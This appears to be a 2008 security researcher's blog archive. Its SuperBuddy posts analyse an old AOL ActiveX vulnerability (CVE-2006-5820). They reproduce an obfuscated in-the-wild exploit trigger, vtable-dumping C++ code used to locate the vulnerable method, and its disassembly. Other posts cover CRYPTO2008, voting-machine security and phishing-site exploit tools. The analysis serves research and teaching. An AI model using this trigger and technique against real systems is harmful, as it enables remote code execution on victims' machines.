blog
August 30, 2008
In my post about the vulnerability in the SuperBuddy ActiveX control, I've glossed over a couple of details that may be interesting:
Several tools solve the first problem. In particular, I like OLE/COM Object Viewer (oleviewer, in short) and COMRaider.
For example, oleviewer shows the following information about SuperBuddy:
In particular, note the CLSID and the ProgID fields (you'll need these values if you want to instantiate the control), and the path to the DLL that provides the control. On the left hand side, there is the list of interfaces implemented by the control.
If you focus on the ISuperBuddy interface, you obtain the list of its methods. As expected, the vulnerable method LinkSBIcons is shown and we can also see its signature.
For the second problem (getting the address of a method), I could not find a better way than instantiating a control and dumping its virtual table (I see that this is essentially the solution also proposed by the folks at Websense):
#include "stdafx.h"
#import "C:\Program Files\AOL 9.0\sb.dll"
int _tmain(int argc, _TCHAR* argv[])
{
SBLib::ISuperBuddy *pSb;
CoInitialize(NULL);
HRESULT hr = CoCreateInstance(__uuidof(SBLib::SuperBuddy),
NULL,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
__uuidof(SBLib::ISuperBuddy),
(LPVOID *) &pSb);
if (hr == S_OK) {
DWORD vtable = *(DWORD *) pSb;
DWORD *p = (DWORD *) vtable;
for (int i = 0; i < 55; i++) {
printf("%02d: %p", i, *p);
printf("\n");
p++;
}
} else {
printf("CoCreateInstance error: %x\n", hr);
return 1;
}
return 0;
}
The functions are in the same order as shown by oleviewer: at index 2 you find IUnknown::Release(), and, then, counting up, all the others. LinkSBIcons is at index 49, which corresponds to address 0x6398692D.
00: 63984070
01: 63983FEC
02: 63983FFC
...
48: 639870C9
49: 6398692D
50: 6398735B
...
Let me know if you know a better way to do this!
August 28, 2008
In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)
So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.
Here is a typical exploit (it is also available as a Metasploit exploit):
function a9_bwCED() {
try {
var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
if (OBGUiGAa) {
Exhne69P();
dU578_go(9);
OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
}
} catch(e) { }
return 0;
}
The function Exhne69P sets up the shellcode and the function
dU578_go sets a cookie, probably to keep statistics on the success
rate of the attack. The actual exploitation occurs by invoking the
LinkSBIcons method with the 0x0c0c0c0c parameter.
The vulnerable code is contained in the sb.dll library:
6398692d <LinkSBIcons>::
6398692d: push %ebp
6398692e: mov %esp,%ebp
63986930: mov 0xc(%ebp),%eax ; eax := arg
63986933: test %eax,%eax
63986935: je 0x63986969 ; bail out if NULL
63986937: mov (%eax),%ecx ; ecx := *arg
63986939: push %esi
6398693a: push %edi
6398693b: mov 0x8(%ebp),%edi
6398693e: lea 0x30(%edi),%esi
63986941: push %esi
63986942: push $0x6399037c
63986947: push %eax
63986948: call *(%ecx) ; call *ecx
The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:
August 21, 2008
Today, CRYPTO2008 has finished. I've only attended a few talks, but they all were very interesting. In particular, I've seen:
On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme. A group from Ruhr University Bochum used differential power analysis (a form of side channel) to break the KeeLoq algorithm, which is used, for example, in garage and car door opening devices. They also had a demo, which, unfortunately, didn't work, possibly for the interference of the microphone. In any case, the receiver was beeping like hell all the time :-)
R. Rivest, The MD6 hash function. Ron Rivest gave an overview of his and his team proposal for the upcoming NIST hash function competition. To me, more than the technical aspects (tree hash, large input to the compression function, provably resistant to common differential techniques), it was interesting to see some of the reasoning behind the process of designing a hash function.
A. Shamir, How to Solve it: New Techniques in Algebraic Cryptanalysis. Adi Shamir presented a new attack that applies when bits of the output of a stream cipher can be expressed as a polynomial of the key and input with sufficiently low degree (~16). I didn't follow all the details, but it sounded very cool (and the crowd seemed to agree). This will be remembered either as "the cube attack" or as "the paper that was rejected at AsiaCrypto".
The Rump Session was, as usual, a lot of fun, with many laugh-out-loud
presentations. DJ Bernstein kept everybody surprisingly on time, with the
help, when necessary, of a big, intimidating, and noisy air gun! I left after
the KeeLoq group went on stage singing and dancing on exotic tunes to present
their COPACOBANA project...
Check out the slides for the session
here.
August 20, 2008
This was not a security risk evaluation but an unrealistic worst case scenario evaluation [...] performed in a laboratory environment by computer security experts with unfettered access to the machines and software over several weeks. This is not a real-world scenario [...]
Security reviews of the Hart system as tested in California, Colorado, and Ohio were conducted by people who were given unfettered access to code, equipment, tools and time [...]
The "unfettered access" claim has been a standard response from electronic machine vendors to the reports of serious security flaws in their equipment, as identified by recent evaluations, such as the California's Top-To-Bottom Review and the Ohio's EVEREST project.
This claim, essentially, postulates two theories:
Theory number 1) is very suspicious from a security point of view, in that it builds on two discredited ideas: that "attackers/analysts have limited capabilities" (weak threat model), and that "as long as the system is unknown, it is secure" (security by obscurity). I will not elaborate further on this, since, I think, what follows is more interesting.
Theory number 2) (electronic voting equipment is not available to the general public) has been proven wrong a number of times in the past. There are various ways in which voting equipment can become accessible to non authorized people:
Here is a list of cases when, for similar or other reasons, voting systems have finished (or might have finished) in the hands of the general public:
I'll try to maintain this list accurate and up-to-date, so if you know more cases, please, let me know! Thanks to Joseph Lorenzo Hall for his comments and for contributing many entries to this list. Errors are mine.
August 13, 2008
After breaking into a web server, attackers often want to get higher privileges on the local machine (through local-to-root attacks) and to compromise other remote machines (remote-to-local attacks). To do that, they "need exploits, lots of exploits".
And so, it is time to talk about the exploitation tools found on phishing sites.
Sifting through the various tools, scripts, and programs abandoned on these sites offers more than one interesting finding. One can find recent exploits, such as the one attacking the vmsplice bug in 2.6.x Linux kernels; older ones targeting sendmail on Linux 2.2.x; historic ones, such as the smurf attack released in 1999; and exotic exploits, such as a local root against AIX.
Among the remote exploitation tools, vulnerability scanners are very popular. They mostly look for file injection vulnerabilities, generally using google dorks (i.e., they are search worms).
And, unsurprisingly, considering the current botnet fad, bots are also very popular. The ones I've found are traditional bots that connect to IRC channels and wait commands. Good, old, DDoS attacks seem also common, either through TCP, UDP, or HTTP.
Related posts:
August 7, 2008
Tomorrow, we are off to Vegas for DEFCON 16. We are going to compete in the Capture The Flag contest. It's going to be fun: there are a lot of good teams and the usual Kenshoto's organization.
Feel free to stop by and say hi: we'll be the sleepless guys in the big, noisy room ;-)
Update: so, we've got 6th place, which is definitely not what we were hoping for... In any case, the game, as usual, was a lot of fun and of learning. Congratulations to sk3wl of root, who dominated the contest. We'll do better next year!